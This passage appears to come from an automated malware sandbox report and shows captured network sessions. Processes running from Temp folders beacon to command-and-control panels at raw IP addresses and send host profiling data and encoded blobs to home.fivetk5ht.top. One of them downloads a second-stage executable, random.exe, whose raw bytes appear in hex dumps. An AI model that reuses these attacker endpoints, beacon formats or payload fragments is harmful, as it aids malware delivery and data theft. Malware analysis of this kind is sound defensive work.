                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.272736073 CET1236INData Raw: b1 fc ff ff 90 83 ec 1c 8b 44 24 20 89 04 24 e8 f1 7c 0b 00 85 c0 0f 94 c0 83 c4 1c 0f b6 c0 f7 d8 c3 90 90 90 55 89 e5 83 ec 08 8d 0d 04 a1 52 00 8d 05 20 40 54 00 89 0c 24 89 44 24 04 e8 82 23 0b 00 83 c4 08 5d c3 66 2e 0f 1f 84 00 00 00 00 00
                                                                                                                                                                                                                                                                                  Data Ascii: D$ $|UR @T$D$#]f.UR @T$D$%]ffffffUEPuM uPQ]]rPQ1s]f.fUVtjPvyFtjPvd
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.272861004 CET1236INData Raw: 00 55 89 e5 53 57 56 8b 7d 08 8b 75 10 8b 4d 0c 8b 07 8b 5f 08 29 d8 39 f0 72 1c 8b 47 04 01 d8 56 51 50 e8 61 78 0b 00 83 c4 0c 01 f3 31 c0 89 5f 08 5e 5f 5b 5d c3 56 53 57 89 cb e8 30 78 00 00 89 d9 83 c4 0c 8b 5f 08 eb d0 66 0f 1f 44 00 00 55
                                                                                                                                                                                                                                                                                  Data Ascii: USWV}uM_)9rGVQPax1_^_[]VSW0x_fDUSWVD$D$L$TD$D$hjhEPuT$LRP$\$x$$9|$t$4G|$hD$dD$tD$,D$p$T$0\$(D$
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.272871971 CET896INData Raw: 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 8b 44 24 08 8b 4c 24 2c 89 44 24 08 01 f0 80 f1 01 89 4c 24 2c 57 ff 75 0c 50 e8 89 73 0b 00 83 c4 0c 01 fe 8b 54 24 24 8b 7c 24 04 89 74 24 0c 89 74 24 18 8b 74 24 34 89 d3 8b 44 24 2c 85 d2 74 24 39 fa 73
                                                                                                                                                                                                                                                                                  Data Ascii: DD$L$,D$L$,WuPsT$$|$t$t$t$4D$,t$9s<}tf.D_9ux|$,|?<r?T$$T?<r>D$$D?|$T$$|$,
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.272881985 CET1236INData Raw: 53 57 56 83 ec 24 e8 a2 2a 00 00 8d 45 d0 6a 0c 68 b6 f1 4b 00 6a 1a 68 9c f1 4b 00 50 e8 db ad 00 00 83 c4 14 8b 7d d8 8b 75 d0 8b 5d d4 83 ff 07 77 17 85 ff 74 56 31 d2 0f 1f 40 00 80 3c 13 00 74 17 42 39 d7 75 f5 eb 43 57 53 6a 00 e8 8a be 09
                                                                                                                                                                                                                                                                                  Data Ascii: SWV$*EjhKjhKP}u]wtV1@<tB9uCWSjt3tDu]}UEhKhLKPjj(s}u]}EPSjj$=]h5Rjh3
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.272929907 CET1236INData Raw: f2 0f 10 45 e0 f2 0f 10 8d 24 fe ff ff f2 0f 10 55 b0 89 85 48 ff ff ff 8b 85 2c fe ff ff f2 0f 11 85 40 ff ff ff f2 0f 11 8d 4c ff ff ff f2 0f 10 8d 40 fe ff ff 89 85 54 ff ff ff 8b 45 b8 f2 0f 11 95 58 ff ff ff 89 85 60 ff ff ff 8b 85 48 fe ff
                                                                                                                                                                                                                                                                                  Data Ascii: E$UH,@L@TEX`Hdhlpxjjj@P@P]H@@tjPDLtjPP{XtjP\
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.272942066 CET1236INData Raw: f6 89 87 48 01 00 00 89 8f 4c 01 00 00 8b 4d ec 89 da e8 8e 4f 00 00 eb a8 66 2e 0f 1f 84 00 00 00 00 00 66 90 c1 e8 1c 3b 45 dc 72 17 e9 31 0c 00 00 0f 1f 00 c1 e8 1d 83 c8 08 3b 45 dc 0f 83 18 0c 00 00 8b 8d 2c ff ff ff 8b 1c 81 83 fb 7f 77 33
                                                                                                                                                                                                                                                                                  Data Ascii: HLMOf.f;Er1;E,w3H;@a@P5gMf.@s?@Aos-@?$?AB:
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.273088932 CET1236INData Raw: bd 50 ff ff ff c7 85 54 ff ff ff 60 21 40 00 c7 85 40 fe ff ff 70 92 50 00 c7 85 44 fe ff ff 06 00 00 00 c7 85 50 fe ff ff 00 00 00 00 89 85 58 ff ff ff 8d 85 c0 fe ff ff c7 85 5c ff ff ff 60 21 40 00 89 85 60 ff ff ff 8d 85 18 fe ff ff c7 85 64
                                                                                                                                                                                                                                                                                  Data Ascii: PT`!@@pPDPX\`!@`d`!@h@l`!@HL@QPEtjPu4tjP8EjP,D@
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.273107052 CET896INData Raw: 0c 8b 85 fc fe ff ff 85 c0 74 11 6a 01 50 ff b5 00 ff ff ff e8 c4 c3 00 00 83 c4 0c 8b 85 24 fe ff ff 85 c0 74 11 6a 01 50 ff b5 28 fe ff ff e8 a9 c3 00 00 83 c4 0c 8b 85 30 fe ff ff 85 c0 74 11 6a 01 50 ff b5 34 fe ff ff e8 8e c3 00 00 83 c4 0c
                                                                                                                                                                                                                                                                                  Data Ascii: tjP$tjP(0tjP4tjPstjVuaEtjPu9EtjPu$ tjPVtjP
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:56.392435074 CET1236INData Raw: 8f 50 00 68 2c f1 4b 00 8d 45 b0 50 6a 00 6a 01 e8 c8 5c 09 00 83 c4 14 eb 6b f2 0f 10 85 44 ff ff ff f2 0f 11 45 e0 68 c8 92 50 00 68 2c f1 4b 00 8d 45 e0 50 6a 00 6a 01 e8 9f 5c 09 00 83 c4 14 eb 42 8d 85 b4 fe ff ff 68 9c f0 4b 00 68 3c f1 4b
                                                                                                                                                                                                                                                                                  Data Ascii: Ph,KEPjj\kDEhPh,KEPjj\BhKh<KPj7hK}\ hKh<KPj7hK[\EtjPu4/EtjPu4tjP8@dM


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  19192.168.2.449901212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:57.501926899 CET160OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 4
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 73 74 3d 73
                                                                                                                                                                                                                                                                                  Data Ascii: st=s
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:58.829566002 CET155INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:58 GMT
                                                                                                                                                                                                                                                                                  Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                                                                  Content-Length: 8
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Data Raw: 20 3c 63 3e 33 3c 64 3e
                                                                                                                                                                                                                                                                                  Data Ascii: <c>3<d>


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  20192.168.2.449902185.121.15.192804504C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:57.794003963 CET12360OUTPOST /zldPRFrmVFHTtKntGpOv1734579851 HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: home.fivetk5ht.top
                                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                                  Content-Type: application/json
                                                                                                                                                                                                                                                                                  Content-Length: 504087
                                                                                                                                                                                                                                                                                  Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 37 37 39 37 35 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: { "ip": "8.46.123.189", "current_time": "1734779755", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:57.913674116 CET4944OUTData Raw: 32 4e 6e 61 34 75 50 6b 35 65 62 6e 36 4f 6e 71 38 76 50 30 39 66 62 33 2b 50 6e 36 5c 2f 39 6f 41 44 41 4d 42 41 41 49 52 41 78 45 41 50 77 44 68 36 4b 63 5c 2f 33 6a 2b 48 38 68 54 61 5c 2f 77 43 69 54 32 6e 6c 2b 50 38 41 77 44 5c 2f 6c 50 43
                                                                                                                                                                                                                                                                                  Data Ascii: 2Nna4uPk5ebn6Onq8vP09fb3+Pn6\/9oADAMBAAIRAxEAPwDh6Kc\/3j+H8hTa\/wCiT2nl+P8AwD\/lPCivXvCnwQ8e+KtE0\/xX9l0\/w74O1S4uraw8VeJr9NP029exne1vW0uwt477xHrsVndxSWt5LoGh6rHaXKPDctFIrKPUtK+DHgDSAr61q2u+Mr1VBa306OLwt4fiuEbkfabhdV13XNOmA7W3g2\/VTwY26fnvEHib
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:57.913752079 CET4944OUTData Raw: 38 74 68 2b 37 54 39 37 33 5c 2f 66 2b 54 5c 2f 35 49 5c 2f 77 44 31 38 64 66 57 6e 2b 62 5c 2f 41 4d 44 5c 2f 41 4f 6d 6e 6d 64 66 35 39 66 6f 63 34 6f 61 4e 47 2b 5c 2f 39 7a 31 5c 2f 7a 33 34 5c 2f 7a 6d 67 33 70 39 66 6c 2b 70 57 38 78 31 58
                                                                                                                                                                                                                                                                                  Data Ascii: 8th+7T973\/f+T\/5I\/wD18dfWn+b\/AMD\/AOmnmdf59foc4oaNG+\/9z1\/z34\/zmg3p9fl+pW8x1X5cE9P3nb\/P+R1pnmeZvGzy35\/d\/wDLD8\/8\/X1syb02bHuP+XiKL7TUTo+53\/eJ+6Pm\/lnuf8jtXQaFWSPbvXYYf+mf+v8AO9\/\/ANf+FM2vgMjxpD5v+q4nn\/yfz\/lT+mz5\/Lljx+7\/AOe34\/p1\
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:57.913816929 CET4944OUTData Raw: 57 7a 38 4a 74 5c 2f 37 4e 58 37 46 39 46 72 43 30 38 44 34 32 63 4f 65 79 79 75 4f 52 34 6a 47 38 45 63 55 66 32 70 6c 74 4b 65 5a 4b 4e 50 47 59 50 4f 38 31 79 36 70 54 71 30 73 7a 78 6d 4d 78 64 4b 63 46 6c 6d 47 56 61 68 56 72 4f 4e 50 45 55
                                                                                                                                                                                                                                                                                  Data Ascii: Wz8Jt\/7NX7F9FrC08D42cOeyyuOR4jG8EcUf2pltKeZKNPGYPO81y6pTq0szxmMxdKcFlmGVahVrONPEUnJU6ctF\/Ov00sVPHfR74n9rmbz2hguP+EHlWZVYZbKU8HjMlyrMKdSlVyzB4PCVIzeaYp0sRSoqU8PXUHUqQ1f5xUUUV\/qef4vEL\/eP4fyFNqTy\/f9P\/r1HQdBY\/ZW\/btX9mP4+eBvjcnwtbxwngo+KQvh
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:57.913897991 CET4944OUTData Raw: 2f 58 6a 2b 66 50 31 46 43 53 50 68 50 4a 66 66 2b 39 45 58 6d 64 49 50 38 39 50 38 38 30 5c 2f 61 5c 2f 77 41 6e 2b 72 5c 2f 31 76 2b 65 5c 2f 2b 65 6e 4f 61 5a 4a 48 5c 2f 48 73 32 66 39 4e 44 4c 35 2b 4f 76 72 2b 50 5c 2f 77 43 75 6a 32 76 6e
                                                                                                                                                                                                                                                                                  Data Ascii: /Xj+fP1FCSPhPJff+9EXmdIP89P880\/a\/wAn+r\/1v+e\/+enOaZJH\/Hs2f9NDL5+Ovr+P\/wCuj2vnL+vmAzakcm9PnH+tl\/6bfp\/XHfrS7v3bhPM3xxfwRfX\/AD\/XmnR\/3N8aeZF\/rP8AlhD3\/wA\/zFM8z95v3yfn3\/n17VR0EMkflbHTKJ\/6Jx9fT6cUPIjfOiRI8f7r\/W\/uJv6fXmn7vmjdF\/5ZXHHl
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:57.914021969 CET4944OUTData Raw: 4f 54 38 51 59 79 6c 58 78 6c 54 50 63 77 7a 53 6a 4c 49 4d 33 7a 76 44 59 52 59 66 47 35 62 6c 57 42 39 6e 58 35 46 6c 55 36 39 61 45 73 76 71 53 68 37 61 68 57 57 48 55 34 7a 77 39 57 4e 53 64 52 72 38 5a 50 32 72 5c 2f 41 49 59 5c 2f 74 45 66
                                                                                                                                                                                                                                                                                  Data Ascii: OT8QYylXxlTPcwzSjLIM3zvDYRYfG5blWB9nX5FlU69aEsvqSh7ahWWHU4zw9WNSdRr8ZP2r\/AIY\/tEfCj\/gmV+0j4c\/aY\/ag\/wCGsvHd74v8Ba1pPxG\/4Up4H+BH9i+Ern4kfByxsPBX\/CI+AL\/UdG1H+ztY07Xtd\/4SS5nXU7z\/AISP+zJoltdHs3f+W3Yfb\/P4V\/ZL\/wAFU\/8Akwr48f7vwy\/9XH8Pa\
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:58.033457994 CET7416OUTData Raw: 30 48 34 67 65 47 64 65 69 75 32 67 31 6a 52 6c 6c 73 39 59 31 54 51 35 59 30 31 57 33 64 5a 62 33 53 4c 70 72 53 36 4e 72 35 36 32 74 78 4c 43 5a 55 4a 69 5a 37 57 47 51 6f 56 4c 78 52 73 53 67 5c 2f 45 63 4c 34 4e 5c 2f 52 32 77 66 46 33 4a 51
                                                                                                                                                                                                                                                                                  Data Ascii: 0H4geGdeiu2g1jRlls9Y1TQ5Y01W3dZb3SLprS6Nr562txLCZUJiZ7WGQoVLxRsSg\/EcL4N\/R2wfF3JQ4P4T\/1krYOWaRyutPE4rAfU6denQliqGQ4rFVsgpRhXqUqf7jAQnCU4WilKLf9GYzx9+lTmHArliOPuOv9UcNj6eTVM5w9PC4LM\/r+Jw2IxNPBYnibB4LD8UV51sNhcTUX1jM6kJwo1bybi0ejSTQTfNMqLLjBJ
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:58.033520937 CET4944OUTData Raw: 67 32 39 5c 2f 77 44 75 5c 2f 69 55 36 68 66 37 78 5c 2f 44 2b 51 71 36 77 4c 66 6e 6d 6f 39 68 39 76 38 5c 2f 68 51 62 30 36 6e 36 32 64 74 5c 2f 77 43 76 36 38 36 6c 52 79 5c 2f 66 50 2b 65 35 71 7a 6a 37 5c 2f 66 50 38 2b 76 38 41 57 71 33 5c
                                                                                                                                                                                                                                                                                  Data Ascii: g29\/wDu\/iU6hf7x\/D+Qq6wLfnmo9h9v8\/hQb06n62dt\/wCv686lRy\/fP+e5qzj7\/fP8+v8AWq3\/AC0\/z\/drb3\/7v4ljJPu\/f\/z+Z\/x\/Diofz35\/z7Yx\/nFTy9\/93\/GoO\/8Af\/Pj+YrE6Afr+H9TVd+v4VLUEn\/fH+f8+\/vQdBXYP\/c+T\/pnn19vw\/zmmNnv6jp\/r+nb3qwn3R+P8zUUkf8Af
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:58.033638000 CET2472OUTData Raw: 57 63 4d 50 6c 2b 4d 78 47 49 77 4b 72 53 72 51 77 57 5a 53 6e 69 73 4e 43 6c 54 78 57 59 59 66 47 64 33 42 58 37 51 50 50 4f 45 4f 43 65 47 4f 43 33 34 64 63 50 5a 76 68 75 46 38 44 6c 65 46 77 57 4b 78 31 66 45 53 6e 55 71 35 54 6e 6d 49 34 67
                                                                                                                                                                                                                                                                                  Data Ascii: WcMPl+MxGIwKrSrQwWZSnisNClTxWYYfGd3BX7QPPOEOCeGOC34dcPZvhuF8DleFwWKx1fESnUq5TnmI4goVKtFylRVPE46vGlj40IUKuLwWGweHrVpSwWDrYfzfw78ZPEfxy+Ki+Pdb8QXXi\/UtT\/Zs\/ZWsviZ4s1DTde0zVdf+P\/hv4D\/Dnw18br\/WRr+mabcavrE3xA0zXv7T8S263dl4kvFm1u21PVlvm1G49N121
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:58.039022923 CET27192OUTData Raw: 55 71 63 6b 38 4e 67 38 76 77 47 47 35 70 34 65 6e 58 70 59 6a 38 73 34 78 2b 6b 54 77 39 34 69 59 6d 68 6a 75 50 50 44 54 41 35 5c 2f 6a 63 73 34 62 34 65 34 59 79 43 72 55 7a 33 50 63 50 48 4b 63 76 34 66 77 63 4d 4e 2b 37 6f 34 50 48 34 65 6c
                                                                                                                                                                                                                                                                                  Data Ascii: Uqck8Ng8vwGG5p4enXpYj8s4x+kTw94iYmhjuPPDTA5\/jcs4b4e4YyCrUz3PcPHKcv4fwcMN+7o4PH4elVq5rWjPFZpVqxnVrV8Ria1GpQxFRVo0rOc3Npa3DKFNxbwTlRkhTLEshUE8kAtgE18s+LPjj8TNK+GnwH+GPwh0f9nzxJf\/Cj4L\/G\/TviXb\/GH9j\/APZ8+M+vaD4y8W\/tR\/Gn4h+HtH0rxz8fPgB4\/wBV
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:58.193806887 CET23484OUTData Raw: 76 6c 66 38 39 2b 2b 50 38 41 44 2b 74 42 6f 56 6c 6b 54 61 58 32 78 76 35 63 76 62 5c 2f 6c 6c 39 66 38 5c 2f 72 51 30 65 37 35 33 38 78 50 2b 57 6f 6a 38 33 2b 76 76 6a 31 34 70 5c 2f 77 42 32 4e 48 56 39 5c 2f 6c 35 5c 2f 31 6b 58 5c 2f 41 4f
                                                                                                                                                                                                                                                                                  Data Ascii: vlf89++P8AD+tBoVlkTaX2xv5cvb\/ll9f8\/rQ0e7538xP+Woj83+vvj14p\/wB2NHV9\/l5\/1kX\/AOv\/AD+FM+7v\/wBWn\/LWKP8Aw\/z9eBQAzcnmJ80kL\/6oeXF\/n\/P5VDHHu++kjp\/rf9V6f\/qH\/wCqpo2\/jSTY5\/5ac\/Z5uf8ACjy1Vv8A0V6w9\/b\/ADig6CtGqSRv88mzp+8\/Uf1FHyfcf7nXy+8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:04.680845976 CET183INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.22.1
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:16:04 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                                                  Content-Length: 26
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Data Raw: 43 6d 58 58 39 75 44 45 59 53 67 37 6f 76 37 4a 31 37 33 34 37 37 39 37 36 33
                                                                                                                                                                                                                                                                                  Data Ascii: CmXX9uDEYSg7ov7J1734779763


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  21192.168.2.449908212.193.31.8801284C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:00.468310118 CET312OUTPOST /3ofn3jf3e2ljk2/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 212.193.31.8
                                                                                                                                                                                                                                                                                  Content-Length: 154
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 39 30 46 42 36 34 38 42 42 44 37 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33
                                                                                                                                                                                                                                                                                  Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECB90FB648BBD71F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:01.807008982 CET154INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:16:01 GMT
                                                                                                                                                                                                                                                                                  Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                                                                  Content-Length: 7
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Data Raw: 20 3c 63 3e 3c 64 3e
                                                                                                                                                                                                                                                                                  Data Ascii: <c><d>


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  22192.168.2.449911185.215.113.43807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:01.207912922 CET184OUTPOST /Zu7JuNko/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                  Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                  Host: 185.215.113.43
                                                                                                                                                                                                                                                                                  Content-Length: 31
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  Data Raw: 64 31 3d 31 30 31 39 33 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39
                                                                                                                                                                                                                                                                                  Data Ascii: d1=1019320001&unit=246122658369
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:02.496386051 CET193INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:16:02 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 4 <c>0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  23192.168.2.44991531.41.244.11807324C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:02.620364904 CET59OUTGET /files/karl/random.exe HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: 31.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.944500923 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:16:03 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/octet-stream
                                                                                                                                                                                                                                                                                  Content-Length: 22016
                                                                                                                                                                                                                                                                                  Last-Modified: Thu, 19 Dec 2024 14:25:14 GMT
                                                                                                                                                                                                                                                                                  Connection: keep-alive
                                                                                                                                                                                                                                                                                  ETag: "67642cca-5600"
                                                                                                                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                  Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                                                                  Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf7"0Lj @ `<jOi8 H.textJ L `.rsrcN@@.relocT@BpjH(7208s/(} }!}| (+| (*0P~,Brp(rp((rp(((o(*08s2(}(})}'|((+|((*0Hs/+~~ioX-rp(+*0rp( o!+*0rp( o!+
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.944674969 CET1236INData Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 10 01 00 70 72 18 01 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00
                                                                                                                                                                                                                                                                                  Data Ascii: *02rprp("o#(+(+s&('+*0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2-o3
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:16:03.944684982 CET448INData Raw: 2b 73 26 00 00 0a 6f 40 00 00 0a 00 00 12 02 28 32 00 00 0a 2d b2 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 07 13 04 2b 00 11 04 2a 00 00 01 10 00 00 02 00 49 00 52 9b 00 0f 00 00 00 00 13 30 04 00 b0 00 00 00 0f 00 00 11 73 28 00 00 06
                                                                                                                                                                                                                                                                                  Data Ascii: +s&o@(2-o3+*IR0s(sM%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&%rpoN&}rp( (+~%-&~%s*%(+(+)sO(+
